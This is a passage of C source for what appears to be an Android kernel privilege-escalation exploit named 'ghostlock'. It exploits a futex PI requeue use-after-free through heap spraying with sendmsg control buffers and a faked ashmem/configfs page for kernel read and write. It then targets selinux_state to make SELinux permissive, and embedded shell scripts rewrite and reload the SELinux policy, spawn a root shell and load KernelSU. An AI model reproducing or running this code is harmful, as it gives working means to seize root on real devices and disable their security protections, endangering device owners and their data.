pr_info("DMpre root=%016llx leftmost=%016llx pc=%016llx "
"child=%016llx\n",
(unsigned long long)pr8, (unsigned long long)pr10,
(unsigned long long)ppc, (unsigned long long)pch);
fflush(stdout);
}
if (calls_this_seq == 0) {
/* C0 is the exact punch boundary: stdout is a pipe (4KB full
* buffering), so flush here or a panic inside sched_setattr
* loses everything after the last flush and we cannot tell
* punch-time crash from later crash. This fflush runs on the
* CONSUMER's kernel stack - it cannot clobber the waiter's
* ghost. */
pr_info("C0 consumer: about to punch tid=%d nice=%d\n",
tid, punch_nice);
fflush(stdout);
} else {
/* Same punch-boundary flush discipline as C0 for punches 2..N. */
pr_info("C1 consumer: punch n=%d nice=%d\n",
calls_this_seq, punch_nice);
fflush(stdout);
}
errno = 0;
long sched_ret = sched_setattr_tid(tid, punch_nice);
int sched_errno = errno;
if (calls_this_seq == 0) {
pr_info("C2 consumer: first punch ret=%ld errno=%d\n",
sched_ret, sched_errno);
pr_info("P1 consumer: waiter prio18 post-punch=%d "
"(39/38=punch-applied 20=NOT-applied)\n",
proc_prio(tid));
/* A4 run71 walk detector: an in-window walk that follows the REAL
* chain (X->lock = &f_pi_target's pi_mutex, owner = this owner
* parked at nice 19 / prio 39) boosts the owner: 38 = boost with
* the waiter's post-punch prio (138), 20 = boost with the stale
* armed X->prio (120), 39 = NO walk reached rt_mutex_setprio.
* Read BEFORE main releases owner_unlock_go (handshake below). */
int otid = atomic_load(&owner_tid);
if (otid > 0)
pr_info("C3 consumer: owner prio post-punch=%d "
"(38/20=walk-boosted, 39=no-walk)\n", proc_prio(otid));
atomic_store(&punch_first_done, 1);
}
if (calls_this_seq == 0) {
if (dm_page_active()) {
/* dm canary: read the payload page through its userspace
* alias. FNE 5.4 chain disasm markers:
* relink [fake_lock+8]/[+0x10] := X (chain 18cc/18d4)
* W1 [state] := fake_right (1be8 erase SECONDARY) with
* in-page PRIMARY [fake_right] := fake_parent
* self [fake_w0+0x18] := fake_w0+0x18 (1bec, after 1be8)
* insert [fake_task+0x978/0x980] := X+0x18 (1c10/1c18)
* relink/insert fire even if the walk bails after 18d4; the
* child write proves the 1be8 rb_erase ran (W1 write landed
* at [state] — confirmed externally by check_selinux_off). */
uint64_t cr_root = 0, cr_left = 0, cr_pc = 0, cr_child = 0;
uint64_t cr_usage = 0, cr_troot = 0, cr_tleft = 0;
dm_probe64(fake_lock + 0x08, &cr_root);
dm_probe64(fake_lock + 0x10, &cr_left);
dm_probe64(fake_w0 + FAKE_WAITER_PI_TREE_ENTRY_OFF, &cr_pc);
dm_probe64(fake_right, &cr_child);
dm_probe64(fake_task + FAKE_TASK_USAGE_OFF, &cr_usage);
dm_probe64(fake_task + FAKE_TASK_PI_WAITERS_OFF, &cr_troot);
dm_probe64(fake_task + FAKE_TASK_PI_WAITERS_OFF + 0x08,
&cr_tleft);
uint64_t cr_self = fake_w0 + FAKE_WAITER_PI_TREE_ENTRY_OFF;
uint64_t exp_parent =
(pselect_write_target() - 9) & ~(uint64_t)7;
int relink = cr_root != fake_w0 && cr_left != fake_w0;
int erase_ran = cr_pc == cr_self;
int w1_child = erase_ran && cr_child == exp_parent;
pr_info("DMcanary root=%016llx leftmost=%016llx pc=%016llx "
"self=%016llx child=%016llx exp_parent=%016llx "
"usage=%016llx troot=%016llx tleft=%016llx "
"relink=%d erase_ran=%d W1_child=%d\n",
(unsigned long long)cr_root,
(unsigned long long)cr_left,
(unsigned long long)cr_pc,
(unsigned long long)cr_self,
(unsigned long long)cr_child,
(unsigned long long)exp_parent,
(unsigned long long)cr_usage,
(unsigned long long)cr_troot,
(unsigned long long)cr_tleft,
relink, erase_ran, w1_child);
fflush(stdout);
} else {
/* Chain-ran canary: rb side effects persist on the payload page
* until the next prepare_skb_payload memset. lock-erase (1898,
* parent==NULL root path) zeroes waiters root; lock insert (18d4)
* sets leftmost:=ghost; PI erase tail (1bec) self-loops W0+0x18.
* Planted: root=fake_w0, leftmost=fake_w0, pc=write_pc. Read 0
* means physrw unavailable (never a legal planted/chain value). */
static int canary_fd = -1;
if (canary_fd < 0) canary_fd = open_ashmem_device();
uint64_t cr_root = kernel_read64(canary_fd, fake_lock + 0x08);
uint64_t cr_left = kernel_read64(canary_fd, fake_lock + 0x10);
uint64_t cr_pc = kernel_read64(
canary_fd, fake_w0 + FAKE_WAITER_PI_TREE_ENTRY_OFF);
uint64_t cr_self = fake_w0 + FAKE_WAITER_PI_TREE_ENTRY_OFF;
int cr_ok = cr_left != 0 && cr_pc != 0;
pr_info("canary root=%016llx leftmost=%016llx w0=%016llx "
"pi_pc=%016llx self=%016llx reads_ok=%d "
"lockerase=%d lockinsert=%d piphase=%d\n",
(unsigned long long)cr_root,
(unsigned long long)cr_left,
(unsigned long long)fake_w0,
(unsigned long long)cr_pc,
(unsigned long long)cr_self,
cr_ok,
cr_ok && cr_root != fake_w0,
cr_ok && cr_left != fake_w0,
cr_ok && cr_pc == cr_self);
/* Step-by-step configfs_read_once diagnosis: split setname from
* pread so errno tells which half is broken on this device. */
{
static int probed = 0;
if (!probed) {
probed = 1;
unsigned char blob[128];
memset(blob, 0, sizeof(blob));
off_t pos = (off_t)(ASHMEM_PREFIX_COUNT - 8);
uintptr_t page =
(fake_lock + 0x08) - (uintptr_t)pos;
put64(blob, CFG_PAGE_OFF - ASHMEM_NAME_PREFIX_LEN, page);
put32(blob, CFG_NEEDS_READ_FILL_OFF - ASHMEM_NAME_PREFIX_LEN, 0);
errno = 0;
int st = try_set_ashmem_name_blob(canary_fd, blob,
sizeof(blob));
int se = errno;
errno = 0;
uint64_t vv = 0;
ssize_t pr = pread(canary_fd, &vv, 8, pos);
int pe = errno;
/* Never lseek here: once the redirect lands, fake llseek
* is the code-exec trap (CFI panic before repair). pread
* ret==8 already distinguishes real fops (0) from fake. */
pr_info("cprobe setname=%d/%d pread=%zd/%d val=%016llx\n",
st, se, pr, pe, (unsigned long long)vv);
}
}
if (g_arm_t) {
/* ARM-T enqueue-collision readback: rb_insert_color Case 1
* (verified against the rb_insert_color disasm: uncle-red
* recolor also PAINTS the gparent red) writes
* [page+0xC0] := (page+0x40)|1 and [page+0x40] := page+0x80
* (old pc & ~3) iff T's enqueue found the orphaned ghost
* (red pc = wv) in O0->pi_waiters. Anything else = an
* unexpected rb path through the page. */
uint64_t rb_gpar = kernel_read64(canary_fd, page_base + 0x40);
uint64_t rb_uncle = kernel_read64(canary_fd, page_base + 0x48);
uint64_t rb_ggp = kernel_read64(canary_fd, page_base + 0x80);
uint64_t rb_red = kernel_read64(canary_fd, page_base + 0xC0);
int rb_hit = rb_red == ((page_base + 0x40) | 1);
pr_info("AT rb: gpar=%016llx uncle=%016llx ggp=%016llx "
"red=%016llx hit=%d (red==(page+0x40)|1 => T enqueue "
"collided with the orphaned ghost)\n",
(unsigned long long)rb_gpar,
(unsigned long long)rb_uncle,
(unsigned long long)rb_ggp,
(unsigned long long)rb_red, rb_hit);
if (rb_hit) {
atomic_store(&arm_t_hit, 1);
pr_success("*** ARM-T ENQUEUE COLLISION - orphan ghost is "
"in O0 pi_waiters, rb rebalance wrote through "
"the controlled page ***\n");
}
}
}
}
if (sched_ret != 0) {
errno = 0;
struct timespec ft = {.tv_sec = 0, .tv_nsec = 50000000};
long fret = futex_op(&f_pi_target, FUTEX_LOCK_PI, 0, &ft, NULL, 0);
int futex_errno = errno;
if (fret == 0) {
futex_op(&f_pi_target, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
sched_ret = 0;
} else {
pr_info("consumer: sched_setattr tid=%d ret=%ld errno=%d; "
"FUTEX_LOCK_PI ret=%ld errno=%d\n",
tid, sched_ret, sched_errno, fret, futex_errno);
}
}
if (sched_ret == 0) atomic_fetch_add(&consumer_success, 1);
calls_this_seq++;
if (calls_this_seq >= CONSUMER_MAX_CALLS) {
/* CAS: only clear if still our seq. Unconditional store raced
* the route loop's atomic_store(punch_consume_go, route_attempt)
* when the in-window seq=100 canary read delayed this reset past
* the route setup — the route's seq=1 was overwritten to 0 and
* the hold loop broke with calls=0. */
int expected = seq;
atomic_compare_exchange_strong(&punch_consume_go, &expected, 0);
break;
}
}
}
}
return NULL;
}
void reset_main_route_state(void) {
f_wait = 0; f_pi_target = 0; f_pi_target2 = 0; f_pi_chain = 0;
atomic_store(&waiter_ready, 0); atomic_store(&waiter_waiting, 0);
atomic_store(&owner_started, 0); atomic_store(&owner_chain_done, 0);
atomic_store(&route_done, 0); atomic_store(&waiter_tid, 0);
atomic_store(&punch_consume_go, 0); atomic_store(&punch_consume_stop, 0);
atomic_store(&arm_t_tid, 0); atomic_store(&arm_t_state, 0);
atomic_store(&arm_t_go, 0); atomic_store(&arm_t_hit, 0);
atomic_store(&owner_unlock_go, 0);
atomic_store(&punch_first_done, 0);
atomic_store(&consumer_calls, 0); atomic_store(&consumer_success, 0);
atomic_store(&main_route_delay_usec, PSELECT_ENTER_DELAY_USEC);
atomic_store(&pipe_prepare_request, 0); atomic_store(&pipe_prepare_done, 0);
cfi_last_step = 0; cfi_last_errno = 0;
}
/* T10c-r1 spray-reclaim oracle (GL_SPRAY_TEST): transient msg_control
* bursts on the same CPU as M6's rollback kfree. ____sys_sendmsg
* kmallocs the control buffer BEFORE scm_send parses it, so a zero
* cmsg_len fails CMSG_OK -> EINVAL after a full-byte copy_from_user
* (no message is ever queued -> the socket never fills -> purely
* transient alloc/copy/free cycles). Painting persists in freed
* memory: once the spray has touched the slot, its bytes stay until
* some other alloc overwrites them, so duty cycle only needs to win
* once before the punch/cleanup walk.
*
* Content: wait_lock(+0x10)=0, root(+0x18)=0 MUST stay zero - a
* nonzero wait_lock makes the chain's trylock at +0x1834 fail and the
* walker yield-retries forever (T9 +0x1acc). leftmost(+0x20) =
* init_task+0x100 (always-mapped task field; [+0x38] can never equal
* the heap slot+0x10) forces BOTH chain paths into their BUG_ON brk
* gates when the slot holds this paint: Path A entry gate +0x1864 ->
* brk +0x1d50, Path B +0x19b4 -> brk +0x1d4c. owner(+0x28) =
* init_task (real, >1, valid pi_lock) lets Path B reach the leftmost
* gate instead of exiting on owner<=1. Natural/unpainted content
* (leftmost=0, owner<=1) stays stable - run72's 9/9 is the control.
* So: panic = slot reclaimed (T10b step 1 validated); stable across
* 20 attempts = not reclaimed -> denser/longer spray. ctl lens 88 and
* 112 cover kmalloc-96 and kmalloc-128 (bucket of the 88-byte
* futex_pi_state differs by config). All modes are WINDOWED by
* spray_go: threads idle outside the M6->punch window because
* continuous spraying correlated with page_request crashes in the
* mcast route cycles (runs106-108; =1 and =2 both). Mode 3 turns
* the reclaimed-slot signal into a punch hang instead of a panic.
* Mode 4 (GL_SPRAY_TEST=4, size-88 only): reclaim the freed
* futex_pi_state as a ghost — paint parent_color(+0x18)=GL_ARM_T_WV
* (default pselect_custom_target-8), right/left/prio zero — so the
* arming rb_insert_color sees a deterministic RED ghost (or the
* ratcheted 1be8 erase uses the paint as node geometry). */
static void *spray_thread(void *arg) {
int idx = (int)(long)arg;
int lens[2] = {88, 112};
int len = lens[idx & 1];
int sv[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sv) < 0) return NULL;
pin_to_core(CORE);
unsigned char ctl[128];
memset(ctl, 0, sizeof(ctl));
/* GL_SPRAY_TEST=2: zeros-only ablation — same alloc/copy/free churn
* and CPU contention as =1, none of the pi_state-field paint. If
* =1 crashes and =2 stays stable, the crash is paint-content-
* causal; if both crash, the spray itself (contention/timing or
* freelist churn) is the variable. GL_SPRAY_TEST=3: hang-oracle —
* wait_lock(+0x10)=1 makes the chain's trylock at :1834 fail and
* the walker yield-retries forever (:1acc), so a RECLAIMED slot
* wedges the punch inside the kernel (no device panic; the punch
* never sets punch_first_done) instead of reaching the :1864 brk.
* Distinguishes reclaim from the contention-caused page_request
* crashes. Runs are also windowed (spray_go): sends only between
* M6 rollback and punch completion — silent during the mcast
* route cycles where runs106-108 died. */
if (spray_test == 1 || spray_test == 3) {
uint64_t init_task_addr = (uint64_t)text_addr(INIT_TASK);
uint64_t leftmost = init_task_addr + 0x100;
memcpy(ctl + 0x20, &leftmost, 8);
memcpy(ctl + 0x28, &init_task_addr, 8);
}
if (spray_test == 3) {
uint64_t wait_lock_locked = 1;
memcpy(ctl + 0x10, &wait_lock_locked, 8);
}
if (spray_test == 4 && len == 88) {
/* Mode 4: reclaim freed futex_pi_state as a ghost with prio 0 and
* parent_color = wv (GL_ARM_T_WV, default selinux_state-8).
* Paint the pi_state layout: rb_node(parent_color/left/right) at
* +0x18, wait_lock at +0x10 left 0, prio at +0x40 left 0.
* Only size 88 (kmalloc-96) — pi_state is 88B; 112 would be
* kmalloc-128 and never match. wait_lock=0 keeps the chain's
* trylock at :1834 succeeding. prio=0 makes the ghost sort
* below every real waiter so X2 links right of it (no left
* descent into wt). */
uint64_t wv = 0;
const char *wvs = getenv("GL_ARM_T_WV");
if (wvs && wvs[0]) wv = strtoull(wvs, NULL, 0);
if (!wv && pselect_custom_target)
wv = pselect_custom_target - 8;
memcpy(ctl + 0x18, &wv, 8); /* parent_color */
/* +0x20 rb_right, +0x28 rb_left already 0 */
/* +0x40 prio already 0 */
}
char b = 'X';
struct iovec iov;
iov.iov_base = &b;
iov.iov_len = 1;
struct msghdr msg;
memset(&msg, 0, sizeof(msg));
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = ctl;
msg.msg_controllen = (size_t)len;
while (!atomic_load(&spray_stop)) {
if (!atomic_load(&spray_go)) {
usleep(200);
continue;
}
sendmsg(sv[0], &msg, MSG_DONTWAIT);
atomic_fetch_add(&spray_ops, 1);
}
close(sv[0]);
close(sv[1]);
return NULL;
}
void run_main_route_threads(void) {
reset_main_route_state();
pthread_t waiter, owner, consumer;
SYSCHK(pthread_create(&waiter, NULL, waiter_thread, NULL));
SYSCHK(pthread_create(&owner, NULL, owner_thread, NULL));
SYSCHK(pthread_create(&consumer, NULL, consumer_thread, NULL));
if (g_arm_t) {
pthread_t armt;
SYSCHK(pthread_create(&armt, NULL, arm_t_thread, NULL));
}
while (!atomic_load(&waiter_waiting) || !atomic_load(&owner_started))
usleep(1000);
usleep(50000);
pthread_t spray[4];
int nspray = 0;
if (spray_test) {
atomic_store(&spray_stop, 0);
atomic_store(&spray_ops, 0);
atomic_store(&spray_go, 0);
for (int i = 0; i < 4; i++) {
if (pthread_create(&spray[i], NULL, spray_thread,
(void *)(long)i) == 0)
nspray++;
}
pr_info("T10c spray start: %d threads ctl={88,112} core=%d\n",
nspray, CORE);
}
if (spray_test)
atomic_store(&spray_go, 1); /* window: covers M6 rollback kfree -> punch */
errno = 0;
if (punch_in_window && owner_handoff) {
/* PRE-M6 punch (HANDOFF only): fire while the waiter is STILL
* blocked inside M4 (pi_blocked_on live). M6's requeue SUCCEEDS in
* handoff mode (owner parked in userspace — no EDEADLK cycle), so
* the pre-M6 punch is a no-walk diagnostic there.
* LEGACY no longer fires pre-M6: phaseC3/C8 evidence shows the
* POST-M6 in-window punch (M6i below) is what walks the
* EDEADLK-armed X and wakes the waiter through the dangle-
* preserving 57cc early-wakeup (errno=11). With the punch moved
* pre-M6, nothing wakes the waiter after M6's EDEADLK — it sleeps
* to the 1000ms timeout whose cleanup clears pi_blocked_on
* (observed: dm legacy runs, errno=110, relink=0, 0 walks).
* seq=100 (route attempts use 1..8, no collision). */
atomic_store(&main_route_delay_usec, punch_delay_usec);
pr_info("M5i main: firing PRE-M6 punch seq=100 delay=%dusec "
"(m4_timeout=%dms waiter_prio=%d)\n",
punch_delay_usec, m4_timeout_ms,
proc_prio(atomic_load(&waiter_tid)));
atomic_store(&punch_consume_go, 100);
/* Wait for the punch to land while the waiter is still blocked. */
int waited_ms = 0;
while (!atomic_load(&punch_first_done) && waited_ms < 800) {
usleep(1000);
waited_ms++;
}
pr_info("M5j main: pre-M6 punch done=%d waited=%dms\n",
atomic_load(&punch_first_done), waited_ms);
}
pr_info("M5 main: firing CMP_REQUEUE_PI\n");
pr_info("M6x probe: f_wait=%u f_pi_target=%u f_pi_chain=%u main=%d waiter=%d owner=%d waiter_prio=%d\n",
f_wait, f_pi_target, f_pi_chain,
(int)syscall(SYS_gettid), atomic_load(&waiter_tid),
atomic_load(&owner_tid), proc_prio(atomic_load(&waiter_tid)));
long rq_ret = futex_op(&f_wait, FUTEX_CMP_REQUEUE_PI, 1, (void *)1, &f_pi_target, 0);
pr_info("M6 main: CMP_REQUEUE_PI ret=%ld errno=%d\n", rq_ret, errno);
if (owner_handoff && rq_ret >= 0) {
/* Requeue completed inside M6: start_proxy_lock ran task_blocks_on
* and waiter->pi_blocked_on = X is armed on the waiter's live M4
* frame. Only NOW may the owner release f_pi_target (see
* owner_thread). New signature vs legacy: ret>=0 errno=0 (no
* EDEADLK — the owner is not blocked on f_pi_chain at M6 time). */
if (punch_in_window) {
/* A4 run71 deterministic ordering: the in-window punch (and its C3
* owner-prio read) MUST complete before the owner releases
* f_pi_target — otherwise the waiter wakes, try_to_take clears
* pi_blocked_on, and the punch walks a dead pointer (run70's
* post-return punches were all silent for exactly this reason). */
while (!atomic_load(&punch_first_done)) usleep(200);
pr_info("M6j main: in-window punch done — releasing owner\n");
}
atomic_store(&owner_unlock_go, 1);
pr_info("M6h main: owner_unlock_go=1 — owner releasing f_pi_target "
"(waiter should acquire, M4 ret=0, cleanup skipped)\n");
}
if (!owner_handoff && punch_in_window) {
/* M6i (LEGACY, phaseC3/C8 flow): M6 returned EDEADLK — the requeue
* armed waiter->pi_blocked_on = X (task_blocks_on ran before the
* deadlock check) and the rollback's remove_waiter cleared only
* main's proxy waiter, so X is still fully enqueued (valid links)
* in f_pi_target's rt_mutex tree and O0->pi_waiters. The waiter is
* STILL BLOCKED on f_wait. Fire the in-window punch NOW: the prio
* change walks the live armed X and wakes the waiter through the
* 57cc early-wakeup (ret=-1 errno=11 EAGAIN) which touches NEITHER
* try_to_take NOR cleanup_proxy_lock NOR the timeout path —
* pi_blocked_on = X DANGLING survives the return (B-T2 CORRECTION,
* waiter_thread comment). The waiter then re-stamps its own freed
* frame (mcast_stamp_once) and the route punch (seq=1) walks the
* STAMPED ghost into the dm plant. */
atomic_store(&main_route_delay_usec, punch_delay_usec);
pr_info("M6i main: firing post-M6 in-window punch seq=100 delay=%dusec "
"(m4_timeout=%dms waiter_prio=%d)\n",
punch_delay_usec, m4_timeout_ms,
proc_prio(atomic_load(&waiter_tid)));
atomic_store(&punch_consume_go, 100);
int iw_waited_ms = 0;
while (!atomic_load(&punch_first_done) && iw_waited_ms < 800) {
usleep(1000);
iw_waited_ms++;
}
pr_info("M6j main: post-M6 in-window punch done=%d waited=%dms\n",
atomic_load(&punch_first_done), iw_waited_ms);
}
pr_info("main: M6 done — waiting for route_done\n");
while (!atomic_load(&route_done)) usleep(5000);
if (spray_test) {
atomic_store(&spray_go, 0);
atomic_store(&spray_stop, 1);
for (int i = 0; i < nspray; i++) pthread_join(spray[i], NULL);
pr_info("T10c spray stop: ops=%d\n", atomic_load(&spray_ops));
}
}
static int do_one_write(uintptr_t target, const char *desc, int mode) {
if (mode == 1 && g_probe_bootid) {
/* GL_PROBE_BOOTID: retarget the 1be8 W1 write at the boot_id sysctl
* data (writable .data). Walk mechanics identical (parent=boot_id-8,
* child=page+0x40, left=0); flip detected by VALUE compare in
* check_bootid_flipped (captured here BEFORE any punch). Clean run +
* BOOTID FLIPPED => walk reaches 1be8 and the write lands => the
* selinux-run crash is target-side (written value / selinux
* aftermath), not walk mechanics. Crash here too => mechanics. */
check_bootid_flipped();
uintptr_t bid = slide_canon_addr(SLIDE_SYSCTL_BOOTID);
if (bid) {
pr_info("BOOTID-PROBE: retarget W1 -> boot_id+1 (0x%016zx)\n", bid + 1);
target = bid + 1;
} else {
pr_warning("BOOTID-PROBE: no boot_id addr; keeping selinux target\n");
}
}
pr_info("=== %s === target=0x%016zx mode=%d\n", desc, target, mode);
/* ksu_fne chain: persist the boot's KASLR slide so the root child can
* generate the runtime-adjusted fake kallsyms (the UMH root child does
* not inherit this process's globals). Every write stage runs with the
* slide already final (the write itself needs text_addr) and the root
* exec always follows the last write, so the file is never stale when
* the chain reads it. Missing dir (no chain installed) is silently
* ignored. */
{
int sfd = open("/data/local/tmp/ksu_fne/slide.txt",
O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (sfd >= 0) {
dprintf(sfd, "%llx\n", (unsigned long long)kaslr_slide);
close(sfd);
}
}
pselect_child_node = 1;
set_pselect_write_mode(target, 0, mode);
TIMER(" heap spray start");
page_base = prepare_good_kernel_page(PAGE_PAYLOAD_FOPS);
if (!page_base) { pr_warning(" heap spray failed\n"); clear_pselect_write(); return 0; }
TIMER(" heap spray done");
run_main_route_threads();
TIMER(" PI route done");
clear_pselect_write();
gl_canary_arm++;
return 1;
}
int check_selinux_off(void) {
int efd = open("/sys/fs/selinux/enforce", O_RDONLY);
if (efd < 0) return 1;
char b[4] = {0};
read(efd, b, sizeof(b));
close(efd);
return b[0] == '0';
}
static int check_sig_enforce_off(void) {
/* bool_enable_only param, mode 0644: readable by this uid-2000 process
* once SELinux is permissive (enforcing denies the read — that earlier
* "Permission denied" was MAC, not DAC). Unreadable => assume still on. */
int efd = open("/sys/module/module/parameters/sig_enforce", O_RDONLY);
if (efd < 0) return 0;
char b[8] = {0};
read(efd, b, sizeof(b));
close(efd);
return b[0] == 'N' || b[0] == '0';
}
static int read_boot_id_str(char *out, size_t outsz) {
int fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY | O_CLOEXEC);
if (fd < 0) return 0;
ssize_t n = read(fd, out, outsz - 1);
close(fd);
if (n <= 0) return 0;
out[n] = 0;
while (n > 0 && (out[n - 1] == '\n' || out[n - 1] == '\r'))
out[--n] = 0;
return 1;
}
int check_bootid_flipped(void) {
static char bootid_saved[64];
static int bootid_saved_done;
char cur[64];
if (!bootid_saved_done) {
if (!read_boot_id_str(bootid_saved, sizeof(bootid_saved)))
return 0;
bootid_saved_done = 1;
pr_info("bootid probe: initial %s\n", bootid_saved);
return 0;
}
if (!read_boot_id_str(cur, sizeof(cur)))
return 0;
if (strcmp(cur, bootid_saved) != 0) {
pr_info("BOOTID FLIPPED: %s -> %s\n", bootid_saved, cur);
return 1;
}
return 0;
}
static int write_selinux_policy_fix_script(void) {
static const char fix_script[] =
"#!/system/bin/sh\n"
"P=/sys/fs/selinux/policy\n"
"L=/sys/fs/selinux/load\n"
"T=/data/local/tmp/.ghostlock_policy.bin\n"
"LOG=/data/local/tmp/.ghostlock_policy.log\n"
"exec >>$LOG 2>&1\n"
"echo \"[*] policy fix: uid=$(id -u) enforce=$(cat /sys/fs/selinux/enforce 2>/dev/null)\"\n"
"cp $P $T || { echo '[!] policy fix: policy copy failed'; exit 1; }\n"
"SZ=$(wc -c < $T)\n"
"[ \"$SZ\" -gt 20 ] || { echo \"[!] policy fix: policy too short ($SZ bytes)\"; exit 1; }\n"
"ID_LEN=$(dd if=$T bs=1 skip=4 count=4 2>/dev/null | od -A n -t u4 | tr -d ' ')\n"
"CO=$((4 + 4 + ID_LEN + 4))\n"
"CFG=$(dd if=$T bs=1 skip=$CO count=4 2>/dev/null | od -A n -t u4 | tr -d ' ')\n"
"NEW=$(( CFG | 0xC0000000 ))\n"
"if [ \"$NEW\" != \"$CFG\" ]; then\n"
" printf '\\\\x%02x\\\\x%02x\\\\x%02x\\\\x%02x' "
"$((NEW & 0xFF)) $(((NEW>>8) & 0xFF)) $(((NEW>>16) & 0xFF)) $(((NEW>>24) & 0xFF))"
" | dd of=$T bs=1 seek=$CO conv=notrunc 2>/dev/null\n"
" echo \"[*] policy fix: config=$CFG -> $NEW at offset=$CO (netlink flags restored)\"\n"
"else\n"
" echo \"[*] policy fix: config=$CFG at offset=$CO (already has netlink flags)\"\n"
"fi\n"
"# /sys/fs/selinux/load requires the entire policy in a single write().\n"
"# load_policy uses mmap+write and is reliable; dd may split large writes.\n"
"if load_policy $T 2>/dev/null; then\n"
" echo '[+] policy fix: policy loaded via load_policy'\n"
" rm -f $T\n"
" exit 0\n"
"fi\n"
"if cat $T > $L 2>/dev/null; then\n"
" echo '[+] policy fix: policy loaded via cat'\n"
" rm -f $T\n"
" exit 0\n"
"fi\n"
"echo '[!] policy fix: policy load failed'\n"
"rm -f $T\n"
"exit 1\n";
int sfd = open("/data/local/tmp/.ghostlock_fixpol.sh", O_WRONLY | O_CREAT | O_TRUNC, 0755);
if (sfd < 0) {
pr_info("fix_policy: write script failed errno=%d\n", errno);
return 0;
}
ssize_t wrote = write(sfd, fix_script, strlen(fix_script));
close(sfd);
if (wrote != (ssize_t)strlen(fix_script)) {
pr_info("fix_policy: script write failed ret=%zd errno=%d\n", wrote, errno);
return 0;
}
return 1;
}
static int kernelsu_module_loaded(void) {
int fd = open("/proc/modules", O_RDONLY);
if (fd < 0) return 0;
char modules[8192] = {0};
ssize_t n = read(fd, modules, sizeof(modules) - 1);
close(fd);
return n > 0 && strstr(modules, "kernelsu ") != NULL;
}
static int wait_for_ksu_status(void) {
static const char status_path[] = "/data/local/tmp/.ghostlock_ksu.status";
for (int attempt = 1; attempt <= 40; attempt++) {
/* The late-load helper can be replaced or blocked as the module comes
* online. /proc/modules is observable from this original shell and is
* therefore the authoritative readiness signal. */
if (kernelsu_module_loaded()) {
pr_success("KernelSU module is loaded\n");
return 0;
}
char status[128] = {0};
int fd = open(status_path, O_RDONLY);
if (fd >= 0) {
ssize_t n = read(fd, status, sizeof(status) - 1);
close(fd);
if (n > 0) {
status[strcspn(status, "\r\n")] = '\0';
if (!strcmp(status, "ready")) {
pr_success("KernelSU helper reports ready\n");
return 0;
}
if (!strcmp(status, "root-no-ksu")) {
pr_success("ROOT ACHIEVED (uid=0, SELinux permissive). No KernelSU "
"userspace on this device (no manager APK, no ksud) — "
"root is per-boot via this exploit.\n");
return 0;
}
if (!strncmp(status, "failed:", 7)) {
pr_error("KernelSU helper reports %s; see .ghostlock_root.log and .ghostlock_ksud.log\n",
status);
return 1;
}
}
}
if (attempt == 1 || attempt % 10 == 0) {
pr_info("waiting for KernelSU helper status (%d/40)\n", attempt);
}
sleep(1);
}
pr_error("KernelSU helper did not report readiness; see .ghostlock_root.log and .ghostlock_ksud.log\n");
return 1;
}
static void slab_drain(void) {
struct timespec up;
clock_gettime(CLOCK_BOOTTIME, &up);
int waves = (up.tv_sec > 60) ? 5 : 2;
int batch = (up.tv_sec > 60) ? 400 : 200;
/* 崩溃定位: fork 风暴可能触发系统保护性重启, 每阶段打印必须
* fflush——stdout 重定向到 w2 日志时默认全缓冲, 崩溃即丢缓冲。 */
pr_info("slab_drain: waves=%d batch=%d\n", waves, batch);
fflush(stdout);
for (int wave = 0; wave < waves; wave++) {
pr_info("slab_drain: wave %d/%d start\n", wave + 1, waves);
fflush(stdout);
pid_t *drain = calloc(batch, sizeof(pid_t));
int n = 0;
for (int i = 0; i < batch; i++) {
drain[i] = fork();
if (drain[i] == 0) { pause(); _exit(0); }
if (drain[i] > 0) n++;
}
pr_info("slab_drain: wave %d/%d forked %d, killing\n", wave + 1, waves, n);
fflush(stdout);
for (int i = 0; i < n; i++) {
kill(drain[i], SIGKILL);
waitpid(drain[i], NULL, 0);
}
free(drain);
sched_yield();
}
pr_info("slab_drain: drain done\n");
fflush(stdout);
}
static void write_root_script(void) {
int sfd = open("/data/local/tmp/.ghostlock_root.sh", O_WRONLY|O_CREAT|O_TRUNC, 0755);
if (sfd < 0) return;
int policy_script_ready = write_selinux_policy_fix_script();
unlink("/data/local/tmp/.ghostlock_ksu.status");
const char *script =
"#!/system/bin/sh\n"
"ROOT_LOG=/data/local/tmp/.ghostlock_root.log\n"
"STATUS=/data/local/tmp/.ghostlock_ksu.status\n"
"diag() { echo \"$*\"; echo \"$*\" >>$ROOT_LOG; }\n"
"report_status() { printf '%s\\n' \"$1\" >$STATUS; }\n"
"report_status pending\n"
"diag '[+] root shell pid='$$' uid='$(id -u)\n"
"if [ -x /data/local/tmp/.ghostlock_fixpol.sh ]; then\n"
" diag '[*] repairing SELinux policy before KernelSU'\n"
" if /system/bin/sh /data/local/tmp/.ghostlock_fixpol.sh; then\n"
" diag '[+] early SELinux policy repair succeeded'\n"
" diag '[*] keeping SELinux permissive until KernelSU is ready'\n"
" else\n"
" diag '[!] early SELinux policy repair failed; see .ghostlock_policy.log'\n"
" fi\n"
" rm -f /data/local/tmp/.ghostlock_fixpol.sh\n"
"else\n"
" diag '[!] policy repair script was not created'\n"
"fi\n"
"KSU_READY=0\n"
"CHAIN_MODE=0\n"
"if grep -q kernelsu /proc/modules 2>/dev/null; then\n"
" diag '[+] KernelSU already loaded'\n"
" KSU_READY=1\n"
"elif [ -x /data/local/tmp/ksu_fne/chain_hook.sh ]; then\n"
" diag '[*] ksu_fne chain hook present - launching detached'\n"
" CHAIN_MODE=1\n"
" /system/bin/setsid /system/bin/sh /data/local/tmp/ksu_fne/chain_hook.sh </dev/null >>/data/local/tmp/ksu_fne/hook_launch.log 2>&1 &\n"
" diag '[*] waiting for chain to load KernelSU module (up to 90s)'\n"
" CH_WAIT=0\n"
" while [ \"$CH_WAIT\" -lt 90 ]; do\n"
" if grep -q kernelsu /proc/modules 2>/dev/null; then KSU_READY=1; break; fi\n"
" sleep 1\n"
" CH_WAIT=$((CH_WAIT+1))\n"
" done\n"
"else\n"
" diag '[*] no ksu_fne chain hook (plain per-boot root)'\n"
" KSUD=$(find /data/app -path '*/com.resukisu.resukisu*/lib/arm64/libksud.so' 2>/dev/null | head -1)\n"
" if [ -z \"$KSUD\" ]; then KSUD=/data/adb/ksu/bin/ksud; fi\n"
" if [ -x \"$KSUD\" ] || [ -f \"$KSUD\" ]; then\n"
" diag '[*] ksud:' $KSUD\n"
